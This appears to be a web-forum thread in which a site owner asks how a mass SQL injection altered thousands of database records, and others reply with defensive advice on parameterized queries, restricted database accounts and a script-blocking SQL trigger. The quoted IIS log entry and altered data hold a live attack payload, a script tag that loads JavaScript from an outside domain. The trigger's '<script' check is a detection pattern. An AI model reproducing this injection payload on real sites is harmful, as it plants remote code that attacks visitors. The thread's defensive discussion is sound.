SQL Injection

[shank]

- - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - -
GET /sresult.asp
title=(Your%20Love%20Keeps%20Lifting%20Me)%20Higher%20And%20Higher&artist=Michael%20McDonald&type=%25&category=%25&column=t_asc%3Cscript%20src=
http://www.advabnr.com/b.js></script> 80 - 76.16.112.66 HTTP/1.1
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

My table was evidently hit with SQL Injection. I searched the IIS logs and
found hundreds of the below instances. Questions...

1) The end result was my image columns were updated to reflect:
Original data: files/icons/ps987_75.jpg
Updated data: files/icons/ps987_75.jpg<script
src=http://www.advabnr.com/b.js></script>
Thousands of records were updated like the above.
I tried downloading http://www.advabnr.com/b.js to see what's inside, but it
wasn't available.
What could have been in the js file to cause such an update?

2) I don't see how they could have known the Table name or the column names.
Same question as #1 I guess.

3) I was and still am using a stored procedure on that page to SELECT from
the table. How do I stop similar malicious efforts from happening again?

thanks

 

[Bob Barrows [MVP]]

- - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - -
GET /sresult.asp
title=(Your%20Love%20Keeps%20Lifting%20Me)%20Higher%20And%20Higher&artist=Michael%20McDonald&type=%25&category=%25&column=t_asc%3Cscript%20src=
http://www.advabnr.com/b.js></script> 80 - 76.16.112.66 HTTP/1.1
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

My table was evidently hit with SQL Injection. I searched the IIS
logs and found hundreds of the below instances. Questions...

1) The end result was my image columns were updated to reflect:
Original data: files/icons/ps987_75.jpg
Updated data: files/icons/ps987_75.jpg<script
src=http://www.advabnr.com/b.js></script>
Thousands of records were updated like the above.
I tried downloading http://www.advabnr.com/b.js to see what's inside,
but it wasn't available.
What could have been in the js file to cause such an update?
http://mvp.unixwiz.net/techtips/sql-injection.html
http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf


2) I don't see how they could have known the Table name or the column
names. Same question as #1 I guess.

Same answer - by causing error messagess that poor coding practice allow to
be returned to the user.

3) I was and still am using a stored procedure on that page to SELECT
from the table. How do I stop similar malicious efforts from happening
again?

Use parameters:
http://groups.google.com/group/microsoft.public.scripting.vbscript/msg/61fedf4e1efd63a6

 

[Old Pedant]

Same answer - by causing error messagess that poor coding practice allow to
be returned to the user.

No, not really. Oh, it's poor coding practice, but the original injection
(not seen here) is code that goes and reads the system tables and tries to
discover all user table names and all user VARCHAR, NVARCHAR, TEXT, NTEXT
field names and *THEN* injects the JavaScript into all those fields.

It's pretty sophisiticated, actually. But it's easily protected against by
simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx
accounts. (Well, and of course by practicing good programming of the ASP
page in the first place. But even with poor ASP code, if you set up the DB
correctly the particular attack fails.)

If you care, I think I can find a copy of the actual injection attack code
still lurking, showing how it loops on all the tables and fields.

 

[Old Pedant]

Here's an example of how it was originally injected into at least one web
site and thus database:

http://www.aspmessageboard.com/forum/showMessage.asp?F=21&M=894997&P=1#894984

The next post is my decoding of that and then Xander's post has a link to
here:
http://isc.sans.org/diary.html?n&storyid=4294
that explains the whole process even more.

 

[Mike Brind [MVP]]

Here's an example of how it was originally injected into at least one web
site and thus database:

http://www.aspmessageboard.com/forum/showMessage.asp?F=21&M=894997&P=1#894984

The next post is my decoding of that and then Xander's post has a link to
here:
http://isc.sans.org/diary.html?n&storyid=4294
that explains the whole process even more.

The interesting thing is that ww.aspfaq.com, which is mentioned in the
thread you linked to appears to have been a victim of something similar.
Google results warn that aspfaq may harm your computer....

 

[Mike Brind [MVP]]

The interesting thing is that ww.aspfaq.com, which is mentioned in the
thread you linked to appears to have been a victim of something similar.
Google results warn that aspfaq may harm your computer....

Ah. Not the one mentioned in the thread (which is plural).... but the one
that is frequently linked to from here.

 

[Bob Barrows [MVP]]

No, not really. Oh, it's poor coding practice, but the original
injection (not seen here) is code that goes and reads the system
tables and tries to discover all user table names and all user
VARCHAR, NVARCHAR, TEXT, NTEXT field names and *THEN* injects the
JavaScript into all those fields.

Yes, that's the other way, and it is covered in the links I provided, which
is what I meant by "same answer".

It's pretty sophisiticated, actually. But it's easily protected
against by simply disallowing access to the sytem tables from the
IUSR_xxx and IWAM_xxx accounts.

.... or whatever account is being used to connect to sql server.

(Well, and of course by practicing
good programming of the ASP page in the first place. But even with
poor ASP code, if you set up the DB correctly the particular attack
fails.)

If you care, I think I can find a copy of the actual injection attack
code still lurking, showing how it loops on all the tables and fields.

I've seen it - I just hadn't put the two cases together

 

[Bob Barrows [MVP]]

Ah. Not the one mentioned in the thread (which is plural).... but
the one that is frequently linked to from here.

Oh my! That is embarassing! I know Aaron used to recommend the use of
dynamic sql to execute stored procedures ... I'm sure he followed what
he preached, but I would have thought he knew to use a
limited-privileges account to connect to SQL. I'm going to give him the
benefit of the doubt and place the blame on the company that bought the
aspfaq site from him.

 

[Bob Barrows [MVP]]

They seem to have cleared that up. No more Google warnings there.

 

[Mike Brind [MVP]]

They seem to have cleared that up. No more Google warnings there.

That is indeed a relief.

Mike

 

[Adam]

"It's pretty sophisiticated, actually. But it's easily protected against by
simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx
accounts. (Well, and of course by practicing good programming of the ASP
page in the first place. But even with poor ASP code, if you set up the DB
correctly the particular attack fails.)"


I aplogize in advance if this is a stupid question, but in SQL Server 2005,
how do you deny access for the IUSR and IWAM accounts?


Thanks,
Adam

 

[Dave Anderson]

I aplogize in advance if this is a stupid question, but in
SQL Server 2005, how do you deny access for the IUSR and
IWAM accounts?

The same way you do any other accounts. But most of us do not use trusted
connections for our web apps, meaning that the login used in your connection
string should have restricted rights.

In our case, we almost always give that login NO RIGHTS, then grant EXECUTE
permissions on a procedure-byprocedure basis.

 

[hammad siddiqui]

I have the solution to this problem...

I work at a news channal. Recently we launch our news websit and it was
DAILY ATTACKED this script. as a result, we used to restore the privous
database backup to avoid this problem. But after research, i have
written a script for every table effected. Now that the website is
smoothly working.

I can provide this solution to you as well, but i will charge money for
it. For contact my e-mail address is (e-mail address removed).

 

[Bob Barrows [MVP]]

I have the solution to this problem...

I work at a news channal. Recently we launch our news websit and it
was DAILY ATTACKED this script. as a result, we used to restore the
privous database backup to avoid this problem. But after research, i
have written a script for every table effected. Now that the website
is smoothly working.

I can provide this solution to you as well, but i will charge money
for it. For contact my e-mail address is (e-mail address removed).

LOLOLOLOLOL
ROFL

There are freely available scripts in several places. I hope nobody finances
this leech.

 

[Mike Brind [MVP]]

I have the solution to this problem...

I work at a news channal. Recently we launch our news websit and it was
DAILY ATTACKED this script. as a result, we used to restore the privous
database backup to avoid this problem. But after research, i have
written a script for every table effected. Now that the website is
smoothly working.

I can provide this solution to you as well, but i will charge money for
it. For contact my e-mail address is (e-mail address removed).

If I launched a web site that was attacked like this, I would expect to be
fired or sued - not charge people money for fixing my mistakes.

 

[subrata roy]

It is one type of virus.use trigger and check inserted data.use this
code

Create TRIGGER [Check_Code]
ON [EPI_TenderDetails]
after INSERT,UPDATE
AS
declare
@Bus varchar(150)
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;

if exists (select * from inserted)
select @Bus=TenderNo from inserted
if @bus like '%<script%' or @bus like '%script>%'
rollback
-- Insert statements for trigger here

END